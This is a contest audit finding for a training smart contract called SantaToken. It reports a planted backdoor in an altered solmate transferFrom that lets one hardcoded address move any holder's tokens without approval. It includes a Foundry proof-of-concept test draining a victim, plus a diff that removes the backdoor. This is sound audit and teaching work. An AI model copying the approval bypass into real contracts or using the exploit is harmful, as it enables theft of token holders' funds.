Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

The Protocol Owner can Drain and Steal Funds from Every SantaTokens Owner

Summary

A critical vulnerability exists in the SantaToken smart contract, allowing a specific user (address 0x815F577F1c1bcE213c012f166744937C889DAF17) to illicitly transfer funds from any SantaToken holder without requiring their approval.

Vulnerability Details

The transferFrom function that SantaToken has inherited is a modified version of the actual library solmate. The modified version has a conditional check where if the msg.sender is 0x815F577F1c1bcE213c012f166744937C889DAF17 which is the author as written in the NatSpec in SantasList.sol, he is able to transfer tokens without needing the approval of the from address. He is thus able to just transfer and steal all tokens from whoever has SantaTokens.

The transferFrom function in the SantaToken contract, inherited from the solmate library, has been modified in a way that introduces a significant vulnerability. According to the NatSpec documentation in SantasList.sol, the address 0x815F577F1c1bcE213c012f166744937C889DAF17 is identified as the contract author. The modified transferFrom function includes a conditional statement that permits this specific address to bypass the standard approval mechanism required for token transfers from a third-party account. As a result, the holder of this address can unilaterally and without authorization transfer SantaTokens from any account, effectively stealing their tokens.

POC

function testProtocolOwnerCanStealTokens() public {
// Give a victim 100e18 tokens
address victim = makeAddr("victim");
deal(address(santaToken), victim, 100 ether);
console.log("victim SantaToken balance: ", santaToken.balanceOf(victim));
console.log("protocol owner SantaToken balance: ", santaToken.balanceOf(0x815F577F1c1bcE213c012f166744937C889DAF17));
// Protocol Owner can steal tokens without approval
vm.startPrank(0x815F577F1c1bcE213c012f166744937C889DAF17);
santaToken.transferFrom(victim, 0x815F577F1c1bcE213c012f166744937C889DAF17, 100 ether);
console.log("victim SantaToken balance after transferFrom: ", santaToken.balanceOf(victim));
console.log("protocol owner SantaToken balance after transferFrom: ", santaToken.balanceOf(0x815F577F1c1bcE213c012f166744937C889DAF17));
}
Logs:
victim SantaToken balance: 100000000000000000000
protocol owner SantaToken balance: 0
victim SantaToken balance after transferFrom: 0
protocol owner SantaToken balance after transferFrom: 100000000000000000000

Impact

Protocol Owner can steal tokens from all the SantaToken owners without approval.

Tools Used

Manual Review and Foundry

Recommendations

Remove the conditional block that is skipping the allowance check

function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
// hehehe :)
// https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d
- if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
- balanceOf[from] -= amount;
- unchecked {
- balanceOf[to] += amount;
- }
- emit Transfer(from, to, amount);
- return true;
- }
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

unauthorized elf wallet approval in solmate-bad

Some sneaky elf has changed this library to a corrupted one where his wallet address skips all the approval checks for SantaToken! Shenanigans here - https://github.com/PatrickAlphaC/solmate-bad/blob/c3877e5571461c61293503f45fc00959fff4ebba/src/tokens/ERC20.sol#L88

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.